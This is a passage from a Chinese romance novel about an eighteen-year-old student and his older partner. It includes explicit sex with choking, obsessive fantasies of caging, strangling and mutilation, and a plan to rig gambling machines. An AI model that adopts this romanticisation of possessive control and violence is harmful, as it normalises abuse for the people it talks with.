身材也没有他结实,其实周瞳身材最结实的时候还是他在当装卸工的时候,有时候脱了上衣,汗涔涔的头发他用水洗了脸,头发有些长,刘海遮住了一些,他扎着一个小辫儿说没时间去剪头发,他晒黑了一些,松垮的裤子动的时候紧实的内裤的边儿露出来,甚至还有些跳脱的毛。
他那会儿的腰是劲瘦的,一点儿赘肉都没有,他的屁股是翘的,叼着根烟光着上身,在那个面粉厂的简陋铁皮房子里烧饭,那灯太暗了,应不尘望过去只有一个沉在烟里的塑像,他的锁骨上卡着一条自己送的链子,那个场景一直都萦绕在应不尘的眼前。
从前周瞳喝多了酒就穿不住衣服。应不尘曾经把他脱得□□,就剩下自己送他的项链在他身上。他仔细的擦洗他的身体,要把他外面的味道都拒之门外。一切的卑鄙都被隐藏,滋生于心又缄默于唇。
应不尘有磅礴的嫉妒,又有割裂的讨好,有时候想买个最结实的铁笼子将周瞳锁起来,要他每次讨要的时候说他以前都是如何摆弄其他人,其他人在他的身下骚不骚。要他对自己羞愧,要他感知自己的愤怒,要他承认自己高于从前每一位,包括爱意,迷恋以及床上功夫。但是每次想到这里又觉得他真是个不守妇道的骚东西,他的内裤到底被多少人洗过,趁着自己还没大就在外面胡搞八搞,到底知不知道谁才是他老公,顺手就想给他掐死。
但是更多时候又想给自己的脖子上锁上狗链子,将绳索递给他,要他一脚一脚的踹在他裤当,居高临下地咒骂他唾弃他,为什么要把他害成这个样子,一扯锁链就要应不尘爬到他脚边求饶,要求舔舐他的鞋尖,反剪双手往他肚子里灌满男人的浓汤,要最后再像宝贝儿一样抱在怀里说我错了下次不这样了。
下次还可以这样。
应不尘恶狠狠地盯着周瞳的侧脸,他为何不这样?为何不是个疯子?他应该这个样子。
“嗯?”周瞳醒了,摸了摸应不尘的脸,“怎么还没睡啊宝贝儿。”
应不尘的眼睛转而柔软,蹭在他身边,软绵绵地说,“我看看你。”
周瞳勾着那抹笑把他的胳膊抽了出来,“压麻了吗?”轻啄他的手背然后放进怀里,连着他一起。
应不尘仔细的嗅闻着他身上的味道,刚刚如潮般的情绪一眨眼褪去,在周瞳的一声“抱着你睡”跟嘴角的一个吻化为洇出水的眼睛。
54. 嫉妒死了
2002年的夏天比任何一个夏天都过得快,应不尘觉得时间总爱跟他作对,想要快一点再快一点的时候总是才过了没几天,但是他想让时间慢下来的时候就容易过得飞快。
周瞳还是那个不着调的样子,别人说他快三十了混这个样子,长大了千万别像他那个样子,一个臭痞子。
“听见没,”周瞳蹲在地上捣鼓电脑,说,“我都成了人家的反面教材了嘿。”
“他们懂个屁。”应不尘捧着一本书,高三的课程他都快读完上半学期了。
周瞳把后面的壳子安上,说,“我看看这回修对了没。”
“修好了?”应不尘从椅子上下来看,“你咋这么厉害呢。”
刺啦一声,刚开又烧掉了。
“叫你咒的,”周瞳说,“你不看我就修好了。”
“真的?”应不尘扯起唇角问。
“说你咒的你高兴啥呀?”周瞳问。
最近周瞳的烟抽得少,总嚼泡泡糖,吹个泡泡,应不尘说,“从前觉着你啥事儿都不愿意怪我,把我当小孩儿,你怪我了我就高兴。”
“你这人,”周瞳说,“心思太重了,心思太重不好。”
周瞳停顿了一下,说,“不过也不怪你。”
周瞳对着镜子刷牙的时候会从镜子上看见门口的应不尘看自己的眼神,周瞳形容不上来那种是什么感觉。周瞳有时候也会在远处看见应不尘木着脸走过去,难得才能看见他有一点情绪,与自己眼前的完全不同。
他除了读书,生活里就光剩下周瞳了。
快要开学的时候两人商量着出去玩。
“去省城玩不?”应不尘问,“给你买衣服去。”
“怎么了,穿这个不好看了,没样子了,不乐意见了呗。”周瞳说。
“你乱说什么呀!”应不尘推了周瞳一下,“你知道我什么意思的。”
“第一步咱就先穿漂亮衣服,第二步我就溜达去那一新桥那边的舞厅上音乐课,”周瞳说,“穿了新衣服不显摆是怎么回事儿呢。不像我风格。”
“你敢。”应不尘作势说,“你敢自己去我就掐死你。”
“咋那么小气呢,”周瞳撞了他一下,“还说都要大学生了,思想咋这么迂腐呢。”
“我不许你去。”应不尘拽着周瞳的衣服,“回家!”
“不是要去省城给我买新衣服吗?”周瞳说,“我还等着呢。”
“买个屁,”应不尘说,“我把你衣服全烧了才好。”
“你别动不动就烧的,”周瞳笑说,“我听了害怕,别人说这个是逗趣,你是真烧啊。”
“你跟我回家。”应不尘说。
但是他心里有点儿甜,那场大火对他俩来说都太重了,压得周瞳那七年都喘不过气来,风子的脸压在周瞳心里七年,他现在能拿这事儿打趣应不尘,心里就没那么憋气了。
“回家干嘛?”周瞳去洗手,路过应不尘的时候撞了一下。
“我给你买了齐蛋的短裤,你穿给我看。”应不尘说。
“你穿给我看差不多。”周瞳说,“没大没小的。”
“你这头发咋长得这么慢。”应不尘说,“啥时候能扎那一搓小辫呢?”
“我扎小辫儿的时候,你才多大啊应不尘,”周瞳说,“我印象里那会儿你都不到十岁吧。”
“真的,你表面看起来像个正经人,”周瞳说,“我都赶不上你,我跟你那么大的时候放个姑娘在我边上...”
“怎么?”应不尘说,“放个姑娘然后呢?”
“我也不会啊。”周瞳说,“怕露怯,就装正人君子,怕人家笑话咱山里来的土包子。”
“真不会?”应不尘的眼睛又亮了,去抓周瞳的手,“你真不会?”
“你跟我说呀。”应不尘跟在后面锁门,“诶诶,你走那么快干啥。”
“少打听。”周瞳插着兜走在前面,“跟你有关系么。”
“怎么没关系啦。”应不尘去抓,“你回家给我说清楚。”
“嘿,你至不至于,”周瞳说,“那会儿我孤家寡人,我青春年少,我干点啥没干啥的,咱都有过去,互相尊重行不行?”
应不尘拽着周瞳就要回去。
“没买菜呢,”周瞳说,“绕菜市场走啊。”
“买个屁。”应不尘说,“咋不给你饿死,给我回去。”
“你要审问犯人啊?”周瞳插着兜任由他拽着,笑问,“你这劲儿跟谁学的这是。”
“我都不知道你哪儿来的那么大醋劲儿,”周瞳说,“诶诶,别给我拽摔了。”
周瞳被拽着回去,应不尘急忙的掏出钥匙开门把周瞳扔进去,嗙的一下砸上门,说,“你现在可以跪下了。”
“啥?”周瞳瞪大了眼睛,“你说啥?你再说一遍我听听。”
“我说你现在可以给我下跪认错了。”应不尘说,“这么多年都是你让我跪我就跪,我错了我就认,你错了你咋不认?”
“我错你妈,”周瞳说,“倒反天罡了你是,我给你跪是吧?我给你跪你能接得住是不?”
“我接不接得住的,你跪就完了呗。”应不尘说。
“来,你过来,”周瞳勾勾手,“你坐这儿来,我给你跪,你来。”
应不尘过去了。
一过去就被周瞳掐着脖子按在身下问,“要我跪是吧?”
“我告诉告诉你我怎么跪。”周瞳将他的裤子一把褪下,绞上劲儿贴着问,“看清楚没有。”
“叫我跪,”周瞳按着他单薄的脖颈,食指的银环划过鼓起的动脉,一瞬即逝的湘粉像钻在血液里游走的毒蛇。
一巴掌落在白肉上,颤得应不尘支也支不起来,“我今天给你跪明白,啥飞醋都吃。”周瞳抵着他,看他颤抖的下颌,捏着他的下巴。
没等他回答就捂住他的嘴仰着他的下巴,周瞳微垂着眸子,流连于暖热的包裹,感知到他的舌尖还在舔舐自己的手心,掐着他的腮要他贴着自己。
“到底...有多少人,”应不尘被挤压的发不出声音,“你到底,我...”
“我高兴了就告诉你到底有多少个。”周瞳居高临下,看他的眼角与耳边连成一片的软红,应不尘湿漉漉的眼睛倔强地散发不要怜惜的信息,他如呼吸一般给予的反应让周瞳忍得狂躁。周瞳仰着头点了根烟,说,“你要是再问,我就烫你屁股上。”
从前应不尘听到过一首俄罗斯的曲子,叫《野蜂飞舞》,急促,热烈,旋律就跟现在一样,他小心翼翼地吞咽音乐课程最后的音符,仰着头问,“那你高兴了吗?”
“一般。”周瞳叼了根烟,斜楞着眼问他,“故意的,是吗?”
应不尘窝在他怀里,给他点烟,说,“我真想掐死你,你刚刚的样子到底有多少人看过。”
周瞳捏着他的下巴,把烟都吐了进去,拇指摩挲着他的嘴唇,说,“要是现在在捅你这儿,会不会看起来像草冒烟了。”
“你下次可以试试。”应不尘趴在他膝盖上,“你以前也这么坏吗?”
“劲儿吧。”周瞳把他撇边上就要去洗澡了。
“我给你洗嘛,”应不尘巴巴地跟上来,“别生气嘛。”
“你真这么在乎啊?”周瞳撑着手,让应不尘给他搓着后背。
应不尘低着头,认真的搓洗,“我嫉妒,”应不尘转过来眼睛红红的,“要嫉妒死了。”
周瞳掰了掰手指,状如数数,应不尘手上的劲儿越来越大了。
周瞳把他捞过来放自己跟前,跟他打上洗发露揉出泡泡,连耳朵都洗了一遍。应不尘揪了揪耳朵,转过头来问,“你生气了?”
应不尘头上的洗发露流下来迷了眼睛,抱着周瞳说,“你别生气。”
“我生你气干啥。”周瞳说,“好好洗。”
应不尘跟他贴在一起,“我忍不住。”
“我说你瞧我的眼神就这样那样的,”周瞳拉了了个小凳子坐着,应不尘坐在他前面,周瞳给他洗澡,“你每回都要哭不要哭,要恨不恨的,你就想这个了?”
应不尘嗯的应了一声,说,“我也知道这样不好。”
周瞳在腰上围上了一块大毛巾,把狗崽子抱出去擦。
“我呢,比你大这么多是吧,有点儿小小的感情很正常,”周瞳边擦边说,“你呢,懂事开始就想着我了,咱俩这些事儿上就是不平等,但是,”
周瞳湿漉漉的头发被他拢过去,背头还在往下滴水,一滴一滴的落在他的肩膀上,他蹲在地上擦着应不尘的脚,抬起头说,“我跟你发誓,我没有。”
“有钱那两年呢,别人说这事儿就是差那一道,头回开了就泄洪了,收不住了,我就觉得说人都想吃我的肉,我得找一个天天等我回家的人,鸡毛蒜皮地过,没钱那两年呢,这事儿也轮不上我想了,要了人家的身子,要给人家日子,我自己都活的像条狗似的,我也不能不要脸成那样啊。”周瞳擦完了应不尘的脚,说,“我也没你想的那么骚,
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就是看着打扮不正经,嘴上不正经,我跟你似的啊?看着正正经经的,一脑子都没个好。”
“真的?”应不尘抱着腿问。
“还不信了嘿,”周瞳给他擦完了,说,“我都怕你笑,浪荡了一圈回来,那事儿跟你一个头寸,真没有。”
应不尘蜷在周瞳的怀里,摸着他的鼻梁,嘴唇,说,“我不笑,我高兴。”
“有啥好高兴的啊。”周瞳仰在沙发上,继而低头看他,狗崽子长大了,眉眼跟小时候有点差别了,晃神了看就跟陌生人一样,“咱两这种,要是让你汪奶知道,都得气活了。”
“汪奶才没有你想的那样。”应不尘说。
“你知道咱两这样叫啥不?周瞳问。
“知道,”应不尘说,“我知道你想说啥。可是不是那样的。”
“要是别人知道了,我反正就这样,别人都知道,但是你就完了。”周瞳仰着头抽烟,“我也够混账的。”
“我早完了。”应不尘说,“我要是没有你,我早死路边了。”
“你判的要是死刑,你前脚走我后脚就逮你去。”应不尘玩着他的手,说,“瞳哥,你要是不跟我一起,我都怕我半夜蹲你窗户上看。看你的床上有没有别人,看你的内裤是不是自己洗。”
“癫的,”周瞳揉他的脑袋笑,“你能不能正常一点?”
“不能。”应不尘闷在他的腰上,环着,“我就不能。我想你天天不要出门,我就每天带玫瑰花跟钱给你,看见你就给你摇尾巴。”
周瞳垂着脑袋,半歪不歪的,手指在应不尘的头发上打转儿,半晌,说,“你是不是有啥心理疾病啊?要不要去看看啊?”
“我有个屁的心理疾病,”应不尘圈着周瞳的脖颈说,“我就是太爱你,你要是带我去看心理疾病,那我就跟医生说我在想什么,我觉得他不会让你带我去第二次。”
“威胁我啊?”周瞳把他捞上来,让他的脑袋躺胳膊上,“小狗崽子威胁我是不是?”
“我没有,”应不尘说,“我可不敢。”
“那你要跟心理医生说啥,我先听听来。”周瞳说,“我以前在号子里也上心灵教育课了,给我教育的可好了。”
“我就跟心理医生说,”应不尘笑了一下,继续,“我想把你的脚削得小小的,套上我给你买的水晶鞋,不给人看你的脚,你从前那皮鞋就脚尖带着,你躺在那沙发上那皮鞋就一晃一晃的,感觉你的脚都在勾引人。”
“我就跟心理医生说,”应不尘继续,“你勾引我,你一开始就在勾引我,你永远都在勾引我,你还觉得我有病,你根本不知道你自己错在哪。”
“我错哪了?”周瞳问。
应不尘亲吻着他的嘴唇,说,“你勾引人你还不知道。”
周瞳扶着他的腰说,“到底谁勾引谁?”
“瞳哥,”应不尘细密的亲吻落在他的眉骨与眼窝,“能不能,别管别人怎么说。”
“能不能,不要那么想。”应不尘窝在周瞳的肩膀上,“没有你我真的要死了。”
“我也没说啥呢,”周瞳安抚着他瘦削的背,“死啥呀,那么难咱两都过来了,死啥死,我就是怕...”
“我不怕。”应不尘说,“瞳哥,我不怕。”
“那你不是还小了,”周瞳说,“以后要反悔,也来得及。什么时候都来得及,换个地方就好了,你,你...”
“我不听你说这个。”应不尘说,“反悔我就被烧死,被撞死。”
“瞎他妈的说啥呢。”周瞳打了一下他的屁股,说,“净胡说,老实的,做作业去,马上开学了。”
“你说的送我上学下学,你还做数吗?”应不尘问。
“咋不作数,我送你去上学就回去看店去,中午过来接你,”周瞳搔他下巴说,“下午送你过去,晚上再去接你,好不好?”
应不尘每次听他像哄小孩儿一样问好不好的时候,就对他有无限狂热的幻想,他巴不得时间的流沙倒一下就全部破裂,巴不得快点儿到年龄与钞票的顶峰,向他炫耀,向他证明,向他许诺。
“你看,我说了我这辈子都爱你我做到了。”
“你看,我说过我会把你丢的全部找回来甚至更多,都给你。”
“我下辈子还要跟你在一起,在死之前我要把我那根没用的东西用刀片剐了,我下辈子名正言顺地当你的妻子与爱人。刻石碑的时候把你的年龄剪掉两岁,把我的年龄添上两岁,山水同程,风雨同程。”
55. 他不老实
开学的日子紧锣密鼓的来了。
周瞳这个懒骨头每次起床都要哄一遍两遍三遍,嗯嗯啊啊的闭着眼睛还要赖,应不尘早上英语单词都背两页了,早点儿都吃完了,周瞳还在床上做梦呢,等应不尘真的要走了,哪怕关门的声音就一点点,他就像还魂一样弹射起床,趿拉着拖鞋撂了一件夹克追出来。
“你困就在家睡觉。”应不尘说,“困得像个兔子似的,不用非要送我。”
“那个什么破网吧,大半夜叫我去修东西,”周瞳迷瞪着眼睛,“没事儿我送你过去再回去睡,睡醒了来接你。”
“现在家用电器多了,其他的修家电的都坑,我没那么坑。”周瞳喝了一口豆浆,“生意还成,能供你读书。”
“你挣了钱,你怎么不买东西了呀。”应不尘说,“买一堆破烂回来呗。”
“埋汰我呢是不是,”周瞳穿了个黑色的夹克,单手搓着方向盘,头发又长了点儿,拢过背头去的时候刘海碎得能遮住额头,“我以前老买破烂吗?”
“咋不买,”应不尘说,“那鞋子,我都不知道你长了几只脚要那么多,你那个什么项链,拿回家就带一次,黑了都不带了,什么刮胡刀,去一个地方买一个,我也不知道你咋就不能好好撰着一个用呢。”
“我在那个半地下室收拾的时候,那墨镜,那耳坠子,还有什么指甲刀,叫什么两个人那个牌子,你就这个指甲,咋要这么多把剪刀,现在咋不买了?”应不尘吞下了最后一口鸡蛋。
“你啥意思啊应不尘,”周瞳说,“我没给你买呗。”
“买了,内裤,买小了,勒得我疼。”应不尘说。
“啊?我不知道呢。”周瞳衣服恍然大悟的样子,咂摸着说,“难怪。”
“难怪啥?”应不尘从课本里抬头问。
“是被我勒坏了啊,难怪没长呢,就跟从前那差不多。”周瞳说。
应不尘的脸歘一下涨红了,周瞳拍拍他肩膀,说,“害,都怪我。”
“你,你。”应不尘也会有结巴的时候。
“哎,没事儿。”周瞳说,“赶紧上课去吧,人家又不知道。”
应不尘整个早自习连带着一早上都脸红。
“你发烧了?”同桌问。
“没。”应不尘低着头做作业。
“早上送你来的是谁呀?”同桌问,“那帮女生都在说好帅,是你哥吗?”
“我男朋友。”应不尘叼着笔帽。
“就那个你去宜华等的那个?”同桌问。
“嗯。”应不尘说。
“看着年纪比你大好多,你俩真谈恋爱呢?”同桌知道些应不尘的事情,从前老有人给应不尘送情书,他也跟着吃了不少零食。但是后来应不尘拒绝了,说是自己有男朋友,当时同桌还以为他是在拒绝女生,后来应不尘每周六都缺考,给他拿试卷的时候又问过一嘴。
“反正我跟他过。”应不尘说,“我们看起来年纪差得很多吗?我感觉他跟从前长得一样。”
“当然差多了,站在你边上像个痞子似的,你就是乖乖的好学生。”同桌说。
应不尘皱眉问,“他哪里像痞子了?”
同桌说,“说不上来,你进来的时候我看着,他靠在那个车上点烟,就像个混混,不靠谱,看着像女朋友很多的那种。”
“他没女朋友,就我一个。”应不尘说。
“那你别被骗了,”同桌小声说,“你追他的呀?”
应不尘本没有那么多话,但是突然能跟人分享自己的恋爱又不免得话多了起来,他憋在心里太久了,这段感情在周瞳看来可能是污糟的,不能说的,藏在垃圾桶都要被人踢翻的,但是在应不尘的心里,是骄傲的,得意的,十八岁青春里面最轰烈的烟花。
“嗯。”应不尘说,“追了好几年,追上了。”
“看不出来,”同桌说,“我还以为你是闷葫芦呢。”
“我像闷葫芦吗?”应不尘摸摸头说,“他老叫我碎嘴子。”
“你是碎嘴子?”同桌噗嗤一下就笑了。
“好笑吗?”应不尘说,“他说我话太多了。”
“要保密吗?”同桌问。
应不尘犹豫了一下周瞳的犹豫,说,“不用。我挺希望大家都知道的。”
同桌拿笔戳他,“你啥时候发现你同性恋的?”
“咋发现的?”同桌追着问。
“你咋知道他也是同性恋的?”同桌紧着问。
“他不是同性恋,被我逼的。”应不尘说,“你不是说他看起来女朋友很多的样子。”
“但是真帅啊。”同桌说,“个子也高,单眼皮也这么好看呢,穿衣服也有品味。”
“他随便拿了一件,”应不尘心里有小小的得意,“他以前打扮更好看,这几年不怎么打扮了。”
“我发现你一说他就是话多,”同桌说,“他干啥的?”
“修家电的,”应不尘说,“他喜欢捣鼓那个。”
“修家电?”同桌说,“那不是师傅了么,不像啊,我看他那样子感觉应该家里挺有钱的呢,别人都来接都是摩托车跟自行车,他开小车。”
“他很早就开小车了,”应不尘说,“这个车不好,以前给他开他都不要。”
“那你俩以后结婚不?”同桌问。
“俩男的不好结婚。”应不尘说,“反正我跟他过就行了。”
“可是家长会我爸妈都回来跟我说,叫我跟你搞好关系,你的成绩可能都要保送的,那你以后就带着他呀?”同桌问,“那你以后大学读完了毕业了呢?”
“跟他一起。”应不尘说,“我读书都是给他读的,我自己早就不想读了。”
“你咋被迷成这样。”同桌说,“他要是跟你分手,你不得伤心死。”
“嗯。”应不尘低头把卷子做完,又问,“为啥你就看他一眼就觉得他不靠谱呀?”
“靠谱的都是那种老实的,你觉得他看起来老实啊?”同桌问。
应不尘说,“不老实,就是不老实。”
长得花枝招展的,一把年纪还是那个劲儿,应不尘恨恨地想,要是周瞳长得丑点儿胖点儿个子矮一点就好了,偏偏长成啥样,想到就生气,从前周瞳出去卡拉OK,他还跳舞呢,朝着人家吹口哨,还朝着人家抛媚眼,闭着眼睛在那扭,人家朝他身上喷酒他还乐呢,扭完就笑嘻嘻湿哒哒地歪在沙发上,连胸前面的红豆都让人看光了,随便谁都他都能贴着,又要喝酒,喝完酒就话多,哄着人家叫姐姐,手就搭在那些女老板的肩膀上,真想给他手砍了。
“诶,”同桌戳了应不尘一下,“你想啥呢,怎么看着还生气了?”同桌指着他的试卷,“你试卷得罪你了啊。”
“你觉得我长得好看吗?跟他配的话?”应不尘问。
“啊?”同桌一下子没反应过来,说,“说实话,我看你像他弟弟,不像他对象。”
应不尘出学校的时候,周瞳正在给一个女老师修自行车,车链子掉下来了。
周瞳没地方擦手,一手的机油,女老师在包里翻了翻,说,“太麻烦你了,擦擦。”就拿出一块手帕。
应不尘站着看,满脸的不乐意。
“啊,你是应同学的...”
“他哥。”周瞳想去揽应不尘,被他躲开了,周瞳继续说,“多亏老师在学校多照顾了,让我们这些家长的也省了太多心。”
周瞳转过来看见应不尘了,说,“咋一脸的苦瓜样,干啥了?”
应不尘把书包往车上一扔,说,“没咋。”
“也不跟老师说句话,干啥呢你,出来别耍脸子,瞧着没家教。”周瞳踩了油门。
小车往前开,应不尘说,“我就没家教,我爸妈早死了,没家,咋了。”
“你吃炮仗了啊?”周瞳一脚刹车,“我是不是给你惯得?”
“我咋了,我乐意说话就说话,我不乐意我就不说,”应不尘说,“别拿你那一套绑架我。”
车停在路边,周瞳沉了口气,解开他的安全带,说,“你先跟我说,你在学校咋了,然后咱再说这个问题,跟同学吵架了?”
“没有。”应不尘别过脑袋去。
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“那你的意思是,”周瞳说,“啥也没发生,然后看见我给你的老师修自行车,你就在这里净吃飞醋呢,是吗?”
“这事儿我已经跟你说清楚了,而且我人就是这么个人,人家自行车坏了,不管他老的少的男的女的,我都给他修,你要是这点儿逼事你给我俩横挑鼻子竖挑眼的,你给我滚下去。”
“我给你惯傻了我看我是,”周瞳说,“吗了个逼的我就跟你说了,我跟差了十年,这十年,不是我跟你关于年纪的事情,咱两有代沟,你知道不,使性子,你这点屁事你使性子。”
应不尘的眼睛红红的,他才没有因为周瞳给人修自行车生气,他是因为周瞳那一副家长的做派,训自己跟训儿子一样,他心里委屈,瘪着嘴不说话。
一颗大眼泪就一闭一睁之间流了下来,他也不擦,就搓手。
周瞳骂完了有点儿觉得过了,说,“哭啥呀。那你,那你说话,那也不对呀。”
应不尘吸了吸鼻子,梗着声音说,“那你,那你骂我,你就对了。”
“那你不好好说话,我能咋办,”周瞳说,“而且你那样子就是不对呀,是不是。闹脾气要闹回家闹,咱就几句话能说清楚,是不是,你...哎呀,你哭啥呀。”
“擦擦,”周瞳拿女老师的手帕去擦,被一下子打掉了,应不尘说,“我不要这个擦。”
“行行行,不要这个。”周瞳说,“那擦哪儿啊,我这也没纸啊。”
应不尘的从车上下来,绕了一圈,挤进了驾驶室。窝在他身上,用他的衣服擦眼泪。
“咋了,这委屈得,”周瞳揉着他的狗毛,“学校挨欺负了?”
“你老拿年纪说事。”应不尘哭唧唧地说,“一副家长派头,我不喜欢。”
“啊,”周瞳说,“就这事儿啊?那我,”周瞳温柔地揉着他的后背,说,“这儿都是你的同学老师,对你不好,是不是。我们换了地方,等你读大学,我再也不做你家长,啥事儿跟你商量,好不好?”
“呜...”应不尘吸了吸鼻子,说,“嗯。那我不生你气。”
“诶谢谢你不生我气啊,”周瞳说,“出来那会儿就看你不乐意的样子,还有啥了?”
“我同学说你帅。”应不尘说。
“说我帅你不乐意啥,那我长得跟旺旺似的你就高兴了?”周瞳说。
“我巴不得你长那样,”应不尘说,“你逮着人叫姐姐人家都跑。”应不尘说。
“我啥时候逮人就叫姐姐了,你咋那么能造谣呢,”周瞳说,“你绕了一圈你想说啥?”
“你说你最喜欢我,你别人你谁都不喜欢。”应不尘圈在他脖子上。
“我现在这样子,也就你要。”周瞳安抚着他的后背。
“不是一个意思。”应不尘的眼睛看着周瞳,说,“那会儿你叫我少看电视,我说我没看,你说,是你买不起,不是我不想看,这是两回事,是你可以买电视但是我不看。”
“车轱辘话说啥呢。”周瞳说亲了一下应不尘的额头,他都听懂了。
周瞳拍了一下他的屁股,他万分不愿也是回去坐下了。
周瞳重新踩发车踩油门,一只手探在窗外,看了应不尘一眼,这个刻苦优秀的小孩儿每次哭唧唧的恳求周瞳一次次重复,使性子要他说非他不可的话,上劲儿跟他吃飞醋的时候,周瞳都觉得自己是一个劳改的半瞎,张不开嘴也觉得害臊,是个脑子的都能看出来身份的不对等,但是应不尘不这样,在爱情里,周瞳始终都是那个被哄着的爱着的被在乎的像有无上崇高地位的掌控者,他祈求周瞳施舍他高浓度的爱意,但这本身就不公平。
“应不尘。”
“嗯?”
“快点儿长大吧。”
“为什么?”
“我觉得有点累。”
“累了,是不要我了吗?”
“是我说了那么多,”周瞳说,“你不知道。”
“不知道什么?”
“不知道我也一样爱你。”周瞳弹了烟灰,“哪怕我始终认为自己不道德。”
56. 挣几个钱
自从上次闹完,应不尘又消停了,又不知道从哪搞回来一本书,叫《成熟男人是如何炼成的》。
“咱小时候看的都是《钢咋炼的》,你现在看的啥呀?你工作重心该注意一下了。”周瞳说。
“我觉得我得冷酷一点,通晓人情世故,自尊自爱,不能总跟你搞那些小学生才弄的东西。”应不尘说。
“哈哈,”周瞳说,“啥呀,你就这样就挺好,你不作,咋的都行。逼自己这样干啥呢?”
“你懂啥呀?”应不尘说,“对了,你最近弄啥呢?总感觉你好忙。”
“一个游戏厅。”周瞳说,“就在电影院边上,那个游戏厅出兑,我给盘下来了,他那的机子太老,没人玩了。”
“那个存折在你手表盒子下面,”应不尘翻着书说,“你不够你自己拿呗。”
“就出了个房租,也没什么转让费,用不着。”周瞳说,“新机器的话我省城那头我让旺旺问了,二手的收几个,换个壳子就行了。”
“你咋想着开游戏机厅了,”应不尘说,“都是哄小孩儿的,小孩儿才几个钱。”
“那你觉得应该弄啥?”周瞳说,“不行说不正规的歪路子。”
“我觉得掺几个苹果机没问题。”应不尘说,“看你咋想了。”
“苹果机调那个胜率,”周瞳说,“掺俩倒是能行,就是我怕这种机器上来挣了钱就收不住。”
“这新春有人搞这个。”应不尘说,“我们学校就有人去,在对面台球室楼上,整多了那个老板不乐意。”
“他咋那么多不乐意,”周瞳蹲在地上捣鼓说,“找茬就给他端了呗。”
“咋端?”应不尘问。
“好烟好酒敬着,赏口饭吃,”周瞳抬头起来说,“要是不赏的话,我看过让他的证件,挂墙上那个经营范围不包括苹果机,而且里面还有不少机器,这种的都是上头吃了他家米了。”
“咱应该怎么办?”周瞳问应不尘。
“怎么办?”应不尘说,“瞳哥,我好久没听你说这些话,我觉得好听,你能多说一些吗?”
“那不行。”周瞳说,“等开业了,你看看吧。”
周瞳弄清楚那些电路电线电板显示器之类的东西,就捣鼓自己的游戏厅去了,但是还是照例送应不尘上学,修理铺关门了。
电影院边上狭小的弄子进去就是游戏机厅,之前生意也是火热的,但是现在不成了,因为应不尘他们学校几年前对面就开了一个新的。
省城的机器发过来,周瞳把那些旧的拆了卖了,留了几个稍微好点儿的,重新给地面都平了一次,把电线都重新理了。
“瞳哥,你不是说我读书了跟我一起去吗?”应不尘说,“你这儿花这么多钱,这么多心思干嘛呀。”
“这种游戏厅就是头一年最赚钱,后面的都赶不上第一年,”周瞳理着电线,在外面都包上绝缘,“你毕业我就给他转了,带着钱就出去呗。”
“嘿嘿,”应不尘又高兴了,拉了条小凳子就坐在周瞳边上,说,“瞳哥,你咋学东西那么快啊,那个修理铺子才多久,你现在这些机器都能自己装了。”
“有啥难的,”周瞳说,“以后都得这些电子娱乐的挣钱,我在里面的时候看书了,里面也教一教,出来想找个师傅,不是人家也不乐意教我嫌我是个劳改的。不乐意咋了,我他妈才几岁,我干啥都来得及,老子干他妈啥都能成。”
完了,漏勺说漏嘴了。说完就愣住了。
“师傅没教你?”应不尘问。
“他爱教不教。”周瞳继续埋地线,说,“你也犯不上难受。”
“他爱教不教!”应不尘咬了咬牙,说,“一个傻叉。”
“嗯呢,”周瞳拍拍手上的灰,这个狭长的厅子已经有点儿模样了。“你瞳哥给你挣钱,行不?你就好好读书,以后喜欢啥就干点啥。你给的已经很多了,别把心思都放在挣钱上,我在这儿,哪有让你养着的道理。”
应不尘的脚就踩在周瞳的脚上晃,仰着头说,“瞳哥,我怕你有钱。”
“又要作?”周瞳拧着眉毛问。
“我没有!”应不尘说,“我没那意思。”
“行吧。”周瞳笑说,“将来又有钱了,又得叫人姐姐了,哎,是有点烦人是不?那你说完了不闹,我可就去了。”
应不尘踩他,“你敢。”
“我有什么不敢的。”周瞳说,“你不是都成熟男人了么,成熟男人都这样。”
“我不看了。”应不尘说,“我不让你开了。”
“听话。”周瞳摸着他的狗毛,说,“我哪儿也不去,我就守着你,好不好?”
周瞳有事儿干了,一大早上就起来,送应不尘去上学之后又跑电影院折腾他那个游戏厅。
“瞳哥,你咋没吃饭呢?”应不尘过来就帮着打扫卫生。
“你放那。”周瞳的机器都差不多上齐活了,“你有那功夫就读读书,行不行,弄啥呀,用你弄。”
“我问你咋不吃饭。”应不尘说。
“不饿,就等你一块儿吃呗。”周瞳弄完了,说,“我晚上过去你学校对面那块儿溜达,会一会那个老板去。两地界这么远,估计不太能影响他那,看吧。”
“那老板我问我同学了,”应不尘拎着盒饭,两人坐一块儿吃,“气性挺大的,估计不能让你看好脸子,而且他跟马队长不一样,没结婚也没孩子,是新春的本地人。”
应不尘给周瞳夹菜,“家里的老爹老妈倒是一般,就在这边上的村里,赚了点钱,稍微有点狂,服务态度不太好。”
“哟,”周瞳看着应不尘,说,“我养的狗崽子真是,现在都知道打听这个呢?”
“年纪轻轻的发了财,人就容易狂。”应不尘说,“新春就两家大的游戏厅,比你这规模大,另外一家太远了,那家不让小孩玩儿,都是那些黑不黑,灰不灰的东西,挨不着什么事儿,没车的过不来这么远。”
“瞳哥,你发财的时候狂吗?”应不尘问。
“还行吧。”周瞳说,“自己苦过,不太狂得起来,出身低,而且我那个买卖打交道也不太一样,往上的客户都是有大钱的,我跟人家比不了,往下,都是拉大车的或者农民租赁跟装卸工,我倚着人家给我干活吃饭,我跟他们狂啥。”
“那卖随身听光盘那会儿呢?”应不尘问。
“那会儿接触的又不一样,”周瞳嚼着饭说,“ 那些败家子手里漏一点就够我吃了,他们呢就是喝高兴了就给你干,那咱重点就是喝呗。喝完了还得舔着人说话,舔明白了就有饭吃,往下呢都是些年轻的学生或者工作的买随身听,他们呢也不管我欠了多少钱是吧,也好好跟你说话,有文化有素质的可就是完全不一样的光景。
那会儿你记不记得,就是黄师傅战友那批货的时候,我挨个去退单子,那些好说话的都是学生跟上班的,难搞的都是那帮开店的,有几个钱了不起,没了就没了,非得按着我脑袋赔钱,我说定金赔多一点,回头给调货,他说有合同,日子多少的到了不给就得白送他,那会儿我真是杀了他们的心都有,我就知道了,有钱的时候,别对那些没钱的逼得太狠,得饶人处且饶人吧。”
“瞳哥,”应不尘说,“你那会儿是不是委屈得不行?”
“还成吧,”周瞳抬头说,“不算委屈,人么,就得吃点委屈,吃了委屈就能长大。”
应不尘楞楞地听着。
“行,我送你过去晚自习,”周瞳关上后备箱,说,“我东西买完了,过去溜达一趟。”
应不尘上了车,说,“我好想跟你去。”
“你去啥,”周瞳说,“你就没有那容人的脾性,一点我,我没咋的呢,你就着了,你消停给我读书去,然后我弄完我就在你学校下头等你,你那个窗户看出来我给你打灯,好不好?”
